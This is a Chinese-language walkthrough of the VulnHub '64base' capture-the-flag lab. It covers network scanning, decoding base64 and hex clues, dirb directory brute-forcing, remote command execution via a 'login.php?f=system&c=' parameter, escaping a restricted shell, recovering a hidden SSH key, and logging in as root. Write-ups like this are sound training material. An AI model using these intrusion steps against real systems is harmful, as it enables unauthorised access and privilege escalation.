vulnhub靶场实战-64base
扫描获取ip:
arp-scan -l
netdiscover -r 10.0.2.0/24
nmap 10.0.2.0/24
1,2,254结尾的一般是网段,所以尝试直接访问:10.0.2.3,发现成功进入
下一步进行深度扫一下看看是否有什么遗漏,如果直接nmap 10.0.2.3的话也就只扫描1000个左右的端口
所以使用nmap -sT -T4 -p- 10.0.2.3(-sT表示tcp扫描,-T4表示时间速度为4,-p-表示全端口扫描)
在页面上浏览的过程中发现最下面两行小字
所以现在所收集到的信息为:
主机ip:
10.0.2.3
可使用端口:
22/tcp open ssh
80/tcp open http
4899/tcp open radmin
62964/tcp open unknown
网页信息:
dmlldyBzb3VyY2UgO0QK
Only respond if you are a real Imperial-Class BountyHunter
flag1
网页一直显示64base,搜一下看看是什么
发现是一种编码,那后面跟的字符串很有可能就是某些编码,进行解码发现为view source ;D
发现让看源码,页面源码中发现一长串字符
记录:5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a
从中可看到全是123456这种数字,最大的是e,那么大概率就是16进制了。先进行16进制解码,获取到:
ZmxhZzF7TmpSaVlYTmxPbFJvTXpVelFISXpUakJVWkdGRWNqQXhSSHBWUUhKbFREQXdTekZwYm1jMENnPT19Cg==
最后1个或者2个==的便是base64编码了,则再进行base64解码,得到第一个flag
flag1{NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg==}
flag2
对于flag1的内容看着明显也是64编码,解码得
64base:Th353@r3N0TdaDr01DzU@reL00K1ing4
解码后的内容像是用户名:密码
既然有用户名密码,那么就有登陆的网站,如何寻找登陆的网站?需要使用目录爆破了
dirb http://10.0.2.3
先查看code=200(可正常访问的),dirb http://10.0.2.3 | grep "CODE:200"
扫描到很多东西,一个一个打开查看(其实很多是陷阱),后面的php和html文件没什么参考性了
查看到http://10.0.2.3/robots.txt时发现有很多内容,但是不知道看哪些
换个思路,查看code=401(需要授权访问)的,dirb http://10.0.2.3 | grep "CODE:401"
有一个admin页面,访问进去需要输入用户名密码,但是将前面看着像是用户名密码的输入进去后发现登陆不上
那么还是只能回到原先的robots.txt文件中,里面的内容也都可以访问,但是数量太多,一个一个试太费时间。直接使用dirb会用默认字典,现在可以将robots.txt文件里的内容转化为一个字典,再进行dirb,就可以自动访问了。
先将页面内容下载下来,为base64.out文件
wget http://10.0.2.3 -rq -O base64.out
再将其内容变为字典html2dic base64.out|sort -u > base64.dict
可使用wc -l base64.dict稍微看一下一共多少条数据
借助字典进行dirb http://10.0.2.3 base64.dict| grep "CODE:401"
发现多了一个,访问一下http://10.0.2.3/Imperial-Class/
输入用户名密码后,发现路径错误。提示前往黑暗面。
前面仔细阅读网页内容的话会发现,出现了很多Dark Side。往下看到一张黑色的图片,看到图片下方的一句话(Only respond if you are a real Imperial-Class BountyHunter)时,突然想起刚才所得路径就是Imperial-Class。那么访问http://10.0.2.3/Imperial-Class/BountyHunter/
再登陆,没反应。但是如果细心一点可以发现url多了一个php文件,看一下源码
发现3串长字符串,现在看到就想到16进制了,都拿进去解码一下
解码后又是一个base64编码,再解码得到flag2
flag3
一看到flag2后的内容就还是base64编码,再进行解码试试
访问网站,看完视频到最后出现这样一行字,当看到burp的时候就想起bp了,那么就bp抓一下试试
打开Linux中的bp,还是在登陆网站输入账户密码进行抓包
抓包后发送到重发器,发送一下,看到响应中有flag3
flag3{NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2luLnBocD9mPWV4ZWMmYz1pZAo=}
flag4
对flag3进行base64解码
53cr3t5h377/Imperial-Class/BountyHunter/login.php?f=exec&c=id
访问一下,啥也没有。看到后面exec,想到rec远程命令执行漏洞,c为命令行执行。
即使后面讲id修改为pwd什么的也还是没反应,这时候没思路了。因为有了前面那一行小字的提醒,再次去那地方看,发现上面一行黄字IMPORTANT!!! USE SYSTEM INSTEAD OF EXEC TO RUN THE SECRET 5H377
那么修改exec访问http://10.0.2.3/Imperial-Class/BountyHunter/login.php?f=system&c=id
发现flag4以及下面这些内容,记录:
Debian GNU/Linux 8 \n \l
Sat Jul 25 08:57:28 BST 2026
Linux 64base 3.16.0-4-586 #1 Debian 3.16.36-1+deb8u2 (2016-10-19) i686 GNU/Linux
inet addr:10.0.2.3 Bcast:10.0.2.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe68:e7f8/64 Scope:Link
uid=1001(64base) gid=1001(64base) groups=1001(64base)
flag5
flag4{NjRiYXNlOjY0YmFzZTVoMzc3Cg==}再次解码,又获得了账户密码64base:64base5h377
试试登陆admin,登陆不上。那剩ssh登陆了,ssh 64base@10.0.2.3 。
发现端口关闭,这时候根据前面获取的端口依次尝试4899和62964
ssh 64base@10.0.2.3 -p 4899
ssh 64base@10.0.2.3 -p 62964
输入密码尝试64base5h377时一直不对,对密码进行64base编码试一下
得到NjRiYXNlNWgzNzc=,试试发现密码也不对。那试试kali linux进行编码echo "64base5h377" | base64
得到NjRiYXNlNWgzNzcK,再尝试进行登陆,发现进去了
进入后查看都有哪些文件,发现一个well_done,看一下具体内容,但是每次cat时就出现一个小人
正常来说cat是来查看文件内容的,但是这里不对,而且很多命令也无法正常执行,说明应该是环境进行了相关的设置。
但是env和echo可以使用,查看一下环境变量echo $PATH/*
发现里面有个base64,那试一下用base64环境跑一下,base64 well_done_:D
对其进行解码base64 well_done_:D | base64 --decode
说是让获取root,在看一下环境,发现里面有个droids,试一下
但是好像也没啥用,ctrl+c退出。再重新看下环境echo $PATH/*,准备试试其他的
执行后发现和之前执行的结果不一样了,而且id等命令也可以执行了。这时候说明已经进入到此网站的后台了。那么去看下之前停留的页面的源代码有什么东西
输入cd /var/www/,后面的/var/www/为一般的网站目录。进入后发现一个html文件,进入看一下发现很多文件。
可以依次都试试比如back为备份文件。但现在看到里面有admin,进去看一下发现有两个文件
再查看一下这两个文件file S3cR37,发现又是一个目录,php文件看不了。
那就进去S3cR37看一下
发现flag5。flag5{TG9vayBJbnNpZGUhIDpECg==}。
flag6
对于flag5也可以使用find命令,这里存在一个问题,靶机中的find路径被作者修改为/var/alt-bin/find,展示ascll图,并非标准find,我们应该使用/usr/bin/find /var -name flag*
解码后得到看里面。
file一下,发现其为一个jpg的图片,既然是图片那么就得看看长什么样。但是cat,head,tail命令都被修改看不了。
head的一般完整路径为/usr/bin/head,使用一下发现有可能被执行,那使用strings转换为字符串看一下
那么先转换再查看发现可以
strings flag5{TG9vayBJbnNpZGUhIDpECg==} | /usr/bin/tail
strings flag5{TG9vayBJbnNpZGUhIDpECg==} | /usr/bin/head
其实可以看到前面很长一大段字符串,看着很像16进制,解码发现结果最后也有=
进行一下base64解码,结果显示一份密钥文件
也可使用linux中的解码一样可以获取echo "4c530744.......f3d0a" | xxd -r -p | base64 -d
先将其保存为一个文件echo "4c53307....516f3d0a" | xxd -r -p | base64 -d > /tmp/ssh.key
(tmp文件所有用户都有写入权限)
有了密钥后,就可以开始尝试登陆root用户了ssh root@10.0.2.3 -p 62964 -i ssh.key
发现有问题。一般使用密钥文件时需要权限,使用chmod 600 ssh.key添加,再次访问ssh root@10.0.2.3 -p 62964 -i ssh.key
发现需要密码,但是密码不知道。回到之前的看file flag5时发现是一张图片,但是前面只看了文件内容,具体长的样子不知道,先看一下。
使用scp flag* root@10.0.2.15:/tmp/flag5.jpg传入到kali中去(kali自身的ssh服务要开启service ssh start )
但是发现自己密码不对,那不使用root了,换成kali
scp ./flag* kali@10.0.2.15:/tmp/flag5.jpg
可以进入。去tmp文件夹看一下图片样子。看到usetheforce,这一串字符是不是密码呢,试一下
访问ssh -p 62964 root@10.0.2.3 -i /tmp/ssh.key并输入usetheforce,还真进去了,得到flag6
flag7
很明显,对flag6的内容进行base64解码
再进行16进制解码
再进行64解码
再进行16进制解码
再进行64解码,得到base64 -d /var/local/.luke|less.real
然后访问一下得到
结束!!!
